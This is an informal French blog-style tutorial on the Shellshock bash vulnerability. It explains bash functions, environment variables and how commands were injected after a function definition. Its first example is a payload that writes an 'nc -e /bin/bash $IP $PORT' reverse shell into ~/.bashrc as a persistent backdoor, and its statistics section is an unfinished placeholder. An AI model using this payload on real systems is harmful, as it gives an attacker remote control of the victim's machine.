Shellshock est une vulnérabilité présente dans bash 4.3 et antérieur. Il s’agit d’une vulnérabilité logicielle qui se base sur de l’injection de commande en passant par les variables d’environement. C’est vachement cool car elle mène à une bonne grosse RCE des familles, donc c’est pas négligeable 😘.
Statistiques#
Quelques statistiques afin d’illustrer la portée et l’attention portée de la vulnérabilité.
Shellshock a beaucoup été à la mode quand elle est sortie, énormément de trafic a été généré par des botnets lors de tentatives d’exploitation de la vulnérabilité.
Bon faut que je trouve des stats mais c’est un autre problème
Comment ça marche ?#
1env _='() { echo "Yeah ma boi"; }; echo "nc -e /bin/bash $IP $PORT" >> ~/.bashrc;'; bash -c 'echo "Bonjour à tous"'
Là on force l’utilisateur à lancer un shell sur $IP:$PORT
à chaque fois qu’il va ouvrir un shell, mais on peut immaginer d’innombrables autres scénarios d’attaque, de compromission de machine, ou de porte dérobée.
Pour comprendre le fonctionnement de cette payload, on va la prendre par étape.
Les fonctions dans bash#
Si vous n’êtes pas connaisseur, il est possible de créer des fonctions dans bash directement, la syntaxe est la suivante :
1my_function () {
2 echo "Hello"
3}
4
5# Ou plus explicitement
6
7function my_function () {
8 echo "Hello"
9}
Pour l’exécuter on peut l’appeller de cette manière :
1$ my_function
2Hello
Utiliser une variable d’environnement avec bash#
Les variables d’environnement permettent de gérer pas mal de choses, mais principalement de passer des valeurs d’un programme à un autre, sans passer par des étapes compliquées.
Note : les variables type
$PATH
,$SHELL
,$PWD
,$TERM
… sont des variables d’environnement, utilisables par des programmes.
En bash :
1$ env BoC='ovgr bh pbhvyyr'
2$ env | grep BoC
3BoC=ovgr bh pbhvyyr # On a bien notre nouvelle variable d'environnement
4
5# On peut aussi déclarer une fonction :
6$ env my_function='() { echo "aHR0cHM6Ly9ncGguaXMvMWEzWDV0UQ==" | base64 -d; }'
On peut même les utiliser dans un sous-shell :
1$ env my_function='() { echo "aHR0cHM6Ly9ncGguaXMvMWEzWDV0UQ==" | base64 -d; }'; bash -c 'my_function;'
L’utilisation de variables d’environnement dans des sous-shells a été supprimée depuis, mais si vous voulez quand même tester, Docker ou VM 😉
Injection#
La partie sympa de Shellshock, c’est qu’on pouvait injecter une commande à exécuter via les variables d’environnement, en ajoutant la commande à la suite de la déclaration d’une fonction :
1$ env a='() { echo "This is my function"; }; echo "Not in the func"'; bash -c 'a;'
2Not in the func # Ne devrait pas être appelé !
3This is my function
Donc ouais, Shellshock c’est quand même vachement cool 😎.